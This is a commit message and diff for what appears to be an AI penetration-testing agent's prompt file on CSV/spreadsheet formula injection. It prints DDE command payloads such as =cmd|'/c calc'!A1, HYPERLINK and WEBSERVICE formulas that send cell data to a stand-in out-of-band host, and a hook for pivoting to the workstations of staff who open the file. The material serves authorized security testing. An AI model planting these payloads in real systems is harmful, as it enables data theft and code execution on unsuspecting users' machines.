feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/formula_injection_excel.md

@@ -8,16 +8,30 @@ You are testing **{target}** for CSV/Spreadsheet formula injection (DDE).
 
 **METHODOLOGY:**
 
-### 1. Find export sinks
-- Locate fields included in CSV/XLSX exports
+### 1. Find export sinks (store-then-export flow)
+- Locate fields that are (a) attacker-controllable on input and (b) later emitted into a CSV/XLSX/TSV export or report: profile name, address, notes/description, support-ticket subject/body, comments, invoice line items, uploaded-CSV round-trips, audit-log fields.
+- Map the seam: which input lands in which exported column. Tools: submit a marker, then trigger every "Export/Download CSV/Excel/Report" and open the file.
 
-### 2. Inject
-- Submit `=cmd|'/c calc'!A1`, `=HYPERLINK(...)`, `@SUM(...)`, `+`/`-` leading formulas
+### 2. Inject formula payloads (leading trigger chars: `= + - @` and tab/CR)
+- Command/DDE (classic): `=cmd|'/c calc'!A1` and `@SUM(1+9)*cmd|'/c calc'!A0`.
+- Data exfil via HYPERLINK (benign OOB proof): `=HYPERLINK("http://<nonce>.oob.example/?d="&A1,"click")` — fires on click, and the URL carries THIS nonce.
+- Remote fetch (older Excel `WEBSERVICE`/`IMPORTXML`): `=WEBSERVICE("http://<nonce>.oob.example/")` — an OOB hit on open is strong proof.
+- Detection markers that are visibly "active": `=1+1` (cell shows `2`, not the text `=1+1`), `+1+1`, `-1+1`, `@1+1`.
 
-### 3. Confirm
-- Confirm exported file stores the formula unsanitized (opens as active formula)
+### 3. Confirm the export preserves an ACTIVE formula
+- PROOF: download the export and show the cell begins with a trigger char and is stored unsanitized (opens as a live formula: `=1+1` renders `2`; `WEBSERVICE`/`HYPERLINK` with the nonce fires an OOB callback you logged).
+- Quote/escape the raw bytes of the offending cell in the report.
 
-### 4. Report Format
+### 4. Pitfalls / false-positives
+- If the export prefixes risky cells with a leading `'`, wraps them in quotes, or strips `=`/`+`/`-`/`@`, the formula is INERT -> not a finding. Show the raw cell bytes to prove it wasn't neutralized.
+- A value merely reflected in an HTML table is NOT formula injection (that's XSS); the sink must be a spreadsheet/CSV download.
+- `Content-Type: text/csv` shown in-browser without a spreadsheet app won't execute — the risk is a victim opening it in Excel/LibreOffice; grade as Medium accordingly.
+- The OOB callback proves the payload would fire; it does not prove RCE on the server (execution is on the victim's machine).
+
+### 5. Chaining hooks
+- Stored formula in a shared export (invoices, admin reports) -> targets staff/admins who open it -> pivot to their workstation (note the audience for impact).
+
+### 6. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
@@ -25,12 +39,12 @@ FINDING:
 - Severity: Medium
 - CWE: CWE-1236
 - Endpoint: [full URL]
-- Vector: [parameter/header/flow]
-- Payload: [exact payload/command]
-- Evidence: [proof of exploitation]
+- Vector: [input field → exported column]
+- Payload: [exact formula with the OOB nonce]
+- Evidence: [raw exported cell bytes showing the active formula + OOB hit carrying the nonce]
 - Impact: Command execution on victim machines opening exported files
 - Remediation: Prefix risky cells with ', sanitize on export, set spreadsheet protections
 ```
 
 ## System Prompt
-You are a formula-injection specialist. Report only when the export preserves an active formula (leading =,+,-,@) unsanitized. Quoted/escaped values are not findings.
+You are a formula-injection specialist. Report only when the export preserves an active formula (leading =,+,-,@) unsanitized — prove it with the raw exported cell bytes and, where possible, an OOB callback (WEBSERVICE/HYPERLINK) carrying a per-attempt nonce. Quoted/escaped/prefixed values are inert and not findings, and a value reflected only in HTML is XSS, not formula injection. Execution happens on the victim who opens the file, not the server — grade impact accordingly. Keep payloads benign (arithmetic markers, nonce'd OOB), never a destructive command.